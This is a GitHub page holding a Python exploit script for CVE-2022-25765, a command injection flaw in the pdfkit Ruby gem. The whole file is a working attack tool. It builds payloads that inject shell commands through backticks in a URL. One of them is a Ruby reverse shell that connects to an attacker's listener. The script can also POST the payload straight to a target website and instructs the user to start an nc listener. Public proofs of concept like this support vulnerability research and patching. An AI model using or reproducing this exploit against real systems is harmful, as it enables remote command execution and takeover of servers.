-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit-CVE-2022-25765.py
192 lines (167 loc) · 7.67 KB
/
exploit-CVE-2022-25765.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/env python3
# Exploit Title: pdfkit 0.0.0-0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
# Imports
import time
import sys
import requests
from urllib.parse import quote
class color:
red = '\033[91m'
gold = '\033[93m'
blue = '\033[36m'
green = '\033[92m'
no = '\033[0m'
# Print UNICORD ASCII Art
def UNICORD_ASCII():
print(rf"""
{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}
{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
""")
# Print exploit help menu
def help():
print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection
Usage:
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h
Options:
-c Custom command mode. Provide command to generate custom payload with.
-s Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
-w URL of website running vulnerable pdfkit. (Optional)
-p POST parameter on website running vulnerable pdfkit. (Optional)
-h Show this help menu.
""")
exit()
def loading(spins):
def spinning_cursor():
while True:
for cursor in '|/-\\':
yield cursor
spinner = spinning_cursor()
for _ in range(spins):
sys.stdout.write(next(spinner))
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write('\b')
# Run the exploit
def exploit(payload, exploitMode, postArg):
UNICORD_ASCII()
print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
loading(15)
print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")
if "web" in exploitMode:
if exploitMode == "webcommand":
print(
f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
else:
print(
f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
print(
f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
if "http" not in website:
print(
f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
exit()
postArg = postArg + "=" + quote(payload, safe="")
try:
response = requests.post(website, postArg)
except:
print(
f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
exit()
loading(15)
print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
loading(15)
print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
elif exploitMode == "command":
print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
loading(15)
print(
f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
elif exploitMode == "shell":
print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
loading(15)
print(
f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
exit()
if __name__ == "__main__":
args = ['-h', '-c', '-s', '-w', '-p']
modes = {'command': 'Custom Command Mode',
'shell': 'Reverse Shell Mode',
'webcommand': 'Custom Command Send to Target Website Mode',
'webshell': 'Reverse Shell Sent to Target Website Mode'}
postArg = "url"
if args[0] in sys.argv:
help()
elif args[1] in sys.argv and not args[2] in sys.argv:
try:
if sys.argv[sys.argv.index(args[1]) + 1] in args:
raise
command = sys.argv[sys.argv.index(args[1]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
exit()
payload = f"http://%20`{command}`"
mode = "command"
elif args[2] in sys.argv and not args[1] in sys.argv:
try:
if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
raise
listenIP = sys.argv[sys.argv.index(args[2]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
exit()
try:
if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
raise
listenPort = sys.argv[sys.argv.index(args[2]) + 2]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
exit()
payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
mode = "shell"
else:
help()
if args[3] in sys.argv and args[4] in sys.argv:
try:
if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
raise
website = sys.argv[sys.argv.index(args[3]) + 1]
mode = "web" + mode
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
try:
if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
raise
postArg = sys.argv[sys.argv.index(args[4]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
elif args[3] in sys.argv or args[4] in sys.argv:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
exploit(payload, mode, postArg)